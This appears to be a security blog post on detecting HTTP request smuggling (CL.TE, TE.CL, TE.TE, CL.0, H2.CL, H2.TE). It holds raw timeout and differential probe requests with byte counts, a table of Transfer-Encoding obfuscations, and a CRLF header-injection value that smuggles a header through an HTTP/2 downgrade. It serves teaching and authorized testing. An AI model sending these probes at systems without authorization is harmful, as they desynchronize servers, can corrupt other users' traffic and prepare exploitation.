
Introduction
Every request smuggling variant can be detected using the same underlying approach. First, create a disagreement about where a request ends. Then look for evidence that the leftover bytes were interpreted as part of a subsequent request.
That evidence usually comes from one of two sources:
Timeout-based probes, where one component waits for bytes that another component believes belong elsewhere.
Differential probes, where the desynchronization produces an observable change in application behavior.
Timeout-Based Probe
Craft a request that causes one server to wait for bytes that never arrive. On a vulnerable target, the connection hangs until the socket times out. On a non-vulnerable target, the request completes normally.
This is usually the safest initial probe because a timeout does not poison the request queue. However, it is generally ineffective against CL.0 vulnerabilities.
Note: A timeout is strong evidence of desynchronization, but it is not definitive proof of request smuggling.
Differential Probe
A timeout is only a hint; a corrupted response is stronger evidence.
If a parsing discrepancy causes part of one request to spill into the next, the backend may misinterpret the follow-up request and return an unexpected 404 Not Found. Because the same request normally succeeds, a reproducible 404 can indicate that the connection has become desynchronized.
To keep testing reliable:
Send the attack request and follow-up request on separate connections (except when testing CL.0).
Use the same path and parameters for both requests.
Repeat suspicious results to account for interference from normal traffic.
If another user's request appears corrupted, stop testing immediately.
One important rule: always run the CL.TE timing probe before TE.CL. If the target is actually CL.TE-vulnerable, a TE.CL probe can interfere with legitimate traffic. Only escalate once CL.TE testing comes back clean.
CL.TE (frontend CL, backend TE)
Timeout-Based Probe
The frontend trusts Content-Length and stops reading after four bytes. The backend trusts Transfer-Encoding: chunked and continues waiting for a complete chunked body. Because the terminating chunk never arrives, the connection hangs until timeout.
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A\r\n
X
Differential Probe
Once the timeout suggests a likely desynchronization, switch to a differential probe.
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 35\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: X
Byte count:
0\r\n (3) + \r\n (2) + GET /404 HTTP/1.1\r\n (19) + X-Ignore: X (11) = 35 bytes.
TE.CL (frontend TE, backend CL)
Timeout-Based Probe
The frontend treats 0\r\n\r\n as the end of the chunked body. The backend trusts Content-Length: 6 and waits for one more byte that never arrives.
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 6\r\n
\r\n
0\r\n
\r\n
X\r\n
Differential Probe
Once the timeout suggests a likely desynchronization, switch to a differential probe.
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
2d\r\n
POST /404 HTTP/1.1\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
Byte count:
POST /404 HTTP/1.1\r\n (20) + Content-Length: 15\r\n (20) + \r\n (2) + x=1 (3) = 45 bytes (0x2d).
TE.TE — obfuscate the Transfer-Encoding header
Both servers understand chunked encoding, so a normal Transfer-Encoding: chunked header does not create a parsing discrepancy. To trigger desynchronization, the header must be obfuscated so that only one side recognizes it.
Test one obfuscation at a time.
| Obfuscation | Example | Typical parser discrepancy |
|---|---|---|
Duplicate Transfer-Encoding headers |
Transfer-Encoding: chunked \r\n Transfer-Encoding: cow |
Different implementations apply different precedence rules when multiple Transfer-Encoding headers are present. One side may honor chunked, while the other uses cow, rejects it, and falls back to Content-Length. |
| Junk-prefixed value | Transfer-Encoding: xchunked |
Some parsers perform loose matching and still recognize chunked; others reject the value and fall back to Content-Length. |
| Space before the colon | Transfer-Encoding : chunked |
Some parsers normalize the header and accept it; stricter implementations reject it as malformed. |
| Tab after the colon | Transfer-Encoding:[tab]chunked |
Different implementations apply different whitespace normalization rules when parsing header values. |
| Leading space before the header name | [space]Transfer-Encoding: chunked |
Some parsers treat it as a valid header line; others interpret it as a continuation line or ignore it entirely. |
| Bare LF header injection | X: X[\n]Transfer-Encoding: chunked |
Some parsers accept a lone LF as a line terminator, creating a new header; others require a proper CRLF sequence. |
Once an obfuscation causes only one component to recognize Transfer-Encoding, the situation effectively reduces to either CL.TE or TE.CL. From that point, the same timeout and differential probes apply.
CL.0 — backend ignores the body
Some endpoints ignore Content-Length entirely and behave as though the request body were empty. Any bytes in the body remain on the socket and are interpreted as a new request.
Good hunting targets include:
Static files
Server-level redirects
Error-generating endpoints
The Content-Length header is syntactically valid and accurately describes the transmitted body. The vulnerability exists because the backend ignores it.
Differential Probe
POST /static-or-redirect-endpoint HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 39\r\n
\r\n
GET /hopefully404 HTTP/1.1\r\n
X-Ignore: X
Byte count:
GET /hopefully404 HTTP/1.1\r\n (28) + X-Ignore: X (11) = 39 bytes.
A reproducible 404 where a normal request would succeed is strong evidence that the backend ignored the body and interpreted it as a separate request.
H2.CL / H2.TE: The downgrade reintroduces the conflict
HTTP/2 uses binary framing and is not vulnerable to classic CL/TE ambiguity by itself. The problem appears when an intermediary downgrades HTTP/2 to HTTP/1.1 before forwarding the request.
H2.CL
H2.CL depends on the downgrade implementation preserving an attacker-controlled Content-Length header during translation.
Timeout-Based Probe
Inject a Content-Length value larger than the actual body.
POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Content-Length: 15\r\n
\r\n
(no body — empty DATA frame)
The edge forwards a zero-byte body while preserving Content-Length: 15. The backend expects fifteen bytes, receives none, and waits until timeout.
Any value larger than the real body length works.
Differential Probe
Inject Content-Length: 0.
POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Content-Length: 0\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
X-Ignore: X
The backend treats the outer request as bodyless and parses the embedded request separately. If repeated testing consistently produces a 404, desynchronization is likely.
H2.TE
If Transfer-Encoding: chunked survives the downgrade process, the situation effectively becomes CL.TE. The same timeout and differential probes apply, but they are delivered through an HTTP/2 request.
Timeout-Based Probe
POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
\r\n
1\r\n
A\r\n
The backend honors Transfer-Encoding, reads the first chunk, and then waits for the terminating chunk that never arrives.
Differential Probe
POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: X
The backend ends the body at the zero chunk and leaves the embedded request buffered for later processing, producing the same behavior observed in CL.TE.
If the edge strips a normal Transfer-Encoding header, you may need to smuggle it through a different header and rely on the downgrade process to reconstruct it.
foo: bar\r\ntransfer-encoding: chunked
The edge sees only the foo header and allows it through. After downgrade, the embedded line break can split the value into two separate headers, recreating Transfer-Encoding: chunked.
The timeout and differential payloads remain unchanged.
Summary
| Variant | Primary Signal |
|---|---|
| CL.TE | Timeout → 404 |
| TE.CL | Timeout → 404 |
| TE.TE | Same as CL.TE / TE.CL |
| CL.0 | Reproducible 404 |
| H2.CL | Timeout → 404 |
| H2.TE | Same as CL.TE |
HTTP request smuggling occurs when different components disagree about where a request ends and the next one begins. By deliberately triggering these parsing discrepancies and observing timeouts or differential responses, we can identify the major variants, including CL.TE, TE.CL, TE.TE, CL.0, H2.CL, and H2.TE.
In this post, we've focused on detection and confirmation. In the next post, we'll move on to exploitation techniques and explore the real-world impact of HTTP request smuggling vulnerabilities.





